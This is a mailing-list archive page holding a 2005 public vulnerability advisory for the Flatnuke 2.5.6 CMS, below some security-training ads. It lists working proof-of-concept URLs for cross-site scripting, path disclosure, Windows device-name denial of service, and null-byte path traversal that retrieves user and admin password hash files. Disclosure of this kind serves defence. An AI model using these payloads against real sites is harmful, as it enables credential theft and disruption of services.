Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Flatnuke 2.5.6 (possibly prior versions) Underlying system information disclosure / Administrative & users credentials disclosure |
|---|---|
| Date: | 30 Aug 2005 21:12:43 -0000 |
Flatnuke 2.5.6 Underlying system information disclosure / Administrative & users credentials disclosure / cross site scripting / path disclosure / resource consumption poc (tested on Windows) software: site: http://flatnuke.sourceforge.net/flatnuke/ 1) cross site scripting: http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!-- 2) path disclosure: 2.a) http://[target]/[path]/print.php?news=com1%00&mod=whatever and so on calling MS-DOS reserved device name for news parameter... 2.b) http://[target]/[path]/index.php?mod=read&id=whatever 3) resource consumption: on Windows: http://[target]/[path]/print.php?news=con%00&mod=ciao http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00 4) a user can retrieve any file on target system using null byte (%00), example admin MD5 password hash disclosure: http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00 generally: http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00 rgod site: http://rgod.altervista.org mail: retrogod@aliceposta.it
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: ICMP attacks against TCP: Conclusions, Damien Miller |
|---|---|
| Next by Date: | RE: secure client-side platform, Beauford, Jason |
| Previous by Thread: | Simple Machine Forum 1-0-5 (possibly prior versions) user IP address / information disclosure, retrogod |
| Next by Thread: | CMS Made Simple <= 0.10 - PHP injection, groszynskif |
| Indexes: | [Date] [Thread] [Top] [All Lists] |